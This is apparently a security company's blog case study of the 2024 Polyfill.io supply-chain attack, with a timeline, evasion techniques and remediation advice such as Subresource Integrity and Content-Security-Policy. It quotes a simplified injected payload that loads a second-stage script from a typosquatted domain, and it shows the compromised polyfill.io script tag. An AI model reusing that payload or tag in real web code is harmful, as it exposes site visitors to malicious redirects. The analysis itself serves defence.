• Agents
  • Docs
  • Pricing
  • Blog
Log in
Get started

Security for apps built with AI. Paste a URL, get a report, fix what matters.

Product

  • How it works
  • What we find
  • Pricing
  • Agents
  • MCP Server
  • CLI
  • GitHub Action

Resources

  • Blog
  • Docs
  • FAQ
  • Glossary

Security

  • Supabase Security
  • Next.js Security
  • Lovable Security
  • Cursor Security
  • Bolt Security

Legal

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • Imprint
© 2026 Flowpatrol. All rights reserved.
Back to Blog
Case Study

Polyfill.io: 380,000 Sites, One CDN, One Domain Sale

In June 2024, a single <script> tag inherited from years of web tutorials turned 380,000 websites into redirect machines. The domain had changed hands months earlier — nobody noticed.

Flowpatrol TeamApr 2, 202610 min read
Polyfill.io: 380,000 Sites, One CDN, One Domain Sale

One afternoon in June 2024

Imagine you're on your phone, browsing JSTOR for a research paper. Or checking your Hulu account. Or visiting the World Economic Forum's website. The page loads normally. Then — without you touching anything — you're suddenly looking at a sports betting site. Or a popup claiming you've won a prize.

You didn't mistype a URL. You didn't click a bad link. The site you visited was completely legitimate. But somewhere in its HTML was a single line that handed control of every mobile visitor to whoever now owned cdn.polyfill.io.

That's what happened on June 25, 2024. And the warning had been sitting in public view for four months.


What polyfills are and why everyone used this CDN

A polyfill is JavaScript code that fills in browser gaps. Older browsers — think IE11, or Android Chrome from 2018 — don't support newer web APIs. Features like fetch(), Promise, and Array.prototype.includes() were missing or broken. Polyfills detect the gap and supply the missing functionality.

The standard way to handle this for years was a CDN service: include one <script> tag, and the service automatically detects the visitor's browser and sends back only the polyfills that browser needs. Clean, efficient, smart.

Polyfill.io was the gold standard for this pattern. Created by Andrew Betts in 2014 — then at the Financial Times — it was genuinely well-engineered. Tutorials recommended it. Stack Overflow answers linked to it. It ended up embedded in hundreds of thousands of sites.

<!-- This line appeared in codebases everywhere -->
<script src="https://cdn.polyfill.io/v3/polyfill.min.js"></script>

One line. Trusted service. Seemed like a solved problem.


February 2024: the domain changes hands

In February 2024, the polyfill.io domain and its associated GitHub repository were sold to a Chinese company called Funnull.

Andrew Betts — the original creator — noticed immediately and posted a public warning: "If your website uses polyfill.io, remove it IMMEDIATELY. I created the polyfill service project but I have never owned the domain name and I have had no influence over its sale."

That warning was out there for four months. Most sites didn't act on it. Why would they? The service still worked. There was no incident. The polyfills still loaded. Nothing had visibly changed.

But the domain now belonged to someone else. And that meant the JavaScript served to every one of those 380,000+ sites could be changed at any time, without notice, without a deployment on the site owner's part.


June 25: the malware goes live

On June 25, 2024, cdn.polyfill.io started serving something extra alongside the polyfills.

The injected code was designed to be invisible at first glance:

// Injected payload (simplified)
(function() {
    // Only target mobile devices
    if (!/Mobile|Android|iPhone/i.test(navigator.userAgent)) return;

    // Inject fake analytics script
    var s = document.createElement('script');
    s.src = 'https://www.googie-anaiytics.com/gtags.js';
    document.head.appendChild(s);
})();

That second-stage script — loaded from googie-anaiytics.com, note the misspelling — handled the actual redirects. Based on the visitor's geographic location, referrer, and a random sampling rate, it sent mobile users to sports betting platforms, scam pages, and adult content.

Desktop users saw nothing. Everything looked normal to anyone testing from a laptop. The attack only materialized on mobile, only sometimes, only in certain regions. That's not an accident — it's evasion by design.

Diagram showing CDN trust chain and how a domain sale compromises downstream sites


The technical evasion

The attackers put real thought into staying hidden. Five techniques worked in combination:

TechniqueHow it worked
Mobile-only targetingDesktop visitors were never affected — site owners testing on laptops saw nothing wrong
Time-based activationPayload delivery varied by time of day, making it harder to reproduce
Geographic targetingDifferent redirects in different regions — a developer in London wouldn't see what a user in Southeast Asia saw
Fake analytics domaingoogie-anaiytics.com looked like a typo-squatted Google domain — plausible enough to slip past casual review
Random samplingNot every request got the malware — inconsistency made patterns harder to confirm

The result: sites that were actively serving malicious redirects to their mobile users had no idea. No error logs. No support tickets from desktop users. No obvious signal. Censys data published on July 2nd confirmed over 380,000 affected hosts before the domain was taken down.


The response

Once researchers spotted it, the response was fast.

DateEvent
February 2024Funnull acquires polyfill.io domain and GitHub account
February 2024Andrew Betts publicly warns: remove it immediately
June 25, 2024Malicious JavaScript injection begins
June 25, 2024Security researchers detect anomalies
June 26, 2024Cloudflare begins automatically rewriting requests to a safe mirror
June 26, 2024Sansec publishes initial findings
June 27, 2024Namecheap suspends the polyfill.io domain
June 27, 2024Google blocks ads on sites still using polyfill.io
July 2, 2024Censys reports 380,000+ affected hosts

Cloudflare's intervention was notable: they automatically rewrote requests for cdn.polyfill.io to point at a safe mirror they'd created, protecting their customers without requiring any action on the site owner's part. Fast and effective.

But by then, mobile users of JSTOR, Hulu, Intuit, Mercedes-Benz, Pearson, WarnerBros, and the World Economic Forum had already been redirected to places they never meant to go. CVE-2024-38526 was assigned to document the incident.


Why AI-generated apps are especially exposed

Here's the part that matters most if you just shipped something.

When you build a web app with Lovable, Bolt, Cursor, v0, or Claude, the AI draws on years of web tutorials, Stack Overflow answers, and documentation. Those sources accumulated over the years when cdn.polyfill.io was the correct, recommended answer. The pattern is baked deep into training data.

So the AI suggests:

<script src="https://cdn.polyfill.io/v3/polyfill.min.js"></script>

Not because it's trying to cause problems. Because that's what the web said to do for a decade. The AI has no way to know that the domain changed hands in February 2024. It has no way to know the original creator warned everyone to remove it. It just knows the pattern worked.

This is a category of risk that's specific to AI-built apps: the training data problem. The model learned from the web as it existed. The web changes. Domains transfer. Services shut down or change ownership. CDN URLs that were safe at training time may not be safe at deploy time.

Polyfill.io is the most vivid example, but it's not the only one. Any <script src="..."> or <link href="..."> pointing at an external CDN you didn't personally vet carries the same structural risk. The question isn't whether you trust the service — it's whether you know who currently owns the domain serving that JavaScript into your users' browsers.

<!-- Every one of these is a question about current domain ownership -->
<script src="https://cdn.some-library.io/v2/library.min.js"></script>
<link rel="stylesheet" href="https://fonts.some-provider.com/css2?family=...">
<script src="https://analytics.third-party.com/tracker.js"></script>

Your app loads these. Your users' browsers execute them. You're implicitly trusting whoever owns those domains right now.


What to check right now

Spend 15 minutes on this before your next deploy.

CheckHow to do itWhy it matters
Search for polyfill.iogrep -r "polyfill.io" --include="*.html" --include="*.js" --include="*.ts" .Direct exposure; remove immediately
Audit all <script src> tagsReview your HTML templates, layout files, and _document.tsx / index.htmlFind every external script in your app
Check your CDN dependenciesLook at every third-party URL in <script>, <link>, and <img> tagsIdentify domains you don't control

If you're still loading from cdn.polyfill.io, stop. The domain was suspended, so it's broken anyway — but you want to fix this intentionally, not accidentally. Safe replacements exist:

<!-- Cloudflare's maintained mirror -->
<script src="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js"></script>

<!-- Or self-host with core-js (recommended) -->
<!-- npm install core-js, then import in your bundle -->

And honestly: check whether you even need polyfills at all. As of 2024, fetch(), Promise, Array.includes(), and async/await all have 95%+ global browser support. If your app doesn't need to support IE11 or ancient Android, the <script> tag might be unnecessary.


The principle: you're responsible for every URL in your HTML

The Polyfill.io incident is a clean illustration of a broader rule: every external URL in your app is a trust decision. Not a one-time trust decision made when you added the tag — an ongoing one, because domain ownership and service behavior can change at any time.

The original developer who added cdn.polyfill.io to their site made a reasonable call at the time. The CDN was legitimate, well-maintained, and widely recommended. The problem wasn't their judgment in 2018 or 2020 or 2022. The problem is that nobody went back and re-evaluated that call when circumstances changed.

AI tools make this worse by surfacing historically good patterns without any mechanism for checking whether those patterns are still valid today. The model learned from the past. Deploying its output to production means taking on the risk that the past has changed.

That's not an argument against using AI to build. It's an argument for verifying what it ships.


What to do before you ship

  1. Search your codebase for external script and stylesheet URLs. Every one of them is a trust dependency. Know what you're loading and who owns the domain.

  2. Replace cdn.polyfill.io immediately if it's anywhere in your code. It's broken now, but remove it intentionally and replace it with something you control.

  3. Add Subresource Integrity hashes to any external scripts where the content is static. This cryptographically pins the file — if the content changes, the browser refuses to execute it.

  4. Set a Content-Security-Policy header that allowlists the specific domains you've verified. Everything else gets blocked.

  5. Scan your live app with Flowpatrol. We check for third-party script exposure, missing security headers, and other patterns that make the Polyfill.io class of attack possible. Paste your URL, get a report, see exactly where you stand.

The <script> tag that shipped your app to 380,000 users was also one line. So is the check that tells you it's safe.


The Polyfill.io supply chain attack occurred in June 2024 and is documented by Sansec, Cloudflare, The Hacker News, and Censys. CVE-2024-38526 is the associated identifier. Andrew Betts' original warning was posted publicly in February 2024.

Back to all posts

More in Case Study

The 39-Minute Window: North Korea Compromised axios and It Landed in Your node_modules
Apr 2, 2026

The 39-Minute Window: North Korea Compromised axios and It Landed in Your node_modules

Read more
The Base44 Auth Bypass: Wix Paid $80M, Then Researchers Bypassed Every Login With Two API Calls
Apr 2, 2026

The Base44 Auth Bypass: Wix Paid $80M, Then Researchers Bypassed Every Login With Two API Calls

Read more
A 4-Digit PIN Was Guarding 3.2 Million Health Records
Apr 2, 2026

A 4-Digit PIN Was Guarding 3.2 Million Health Records

Read more
Add Subresource Integrity where possible<script src="..." integrity="sha384-..." crossorigin="anonymous">Locks the content to a known hash
Set a Content Security PolicyContent-Security-Policy: script-src 'self' https://trusted-cdn.example.com;Blocks unauthorized scripts from loading
Replace with self-hosted or verified alternativesBundle polyfills with core-js, or use Cloudflare's mirrorKeeps the dependency in your control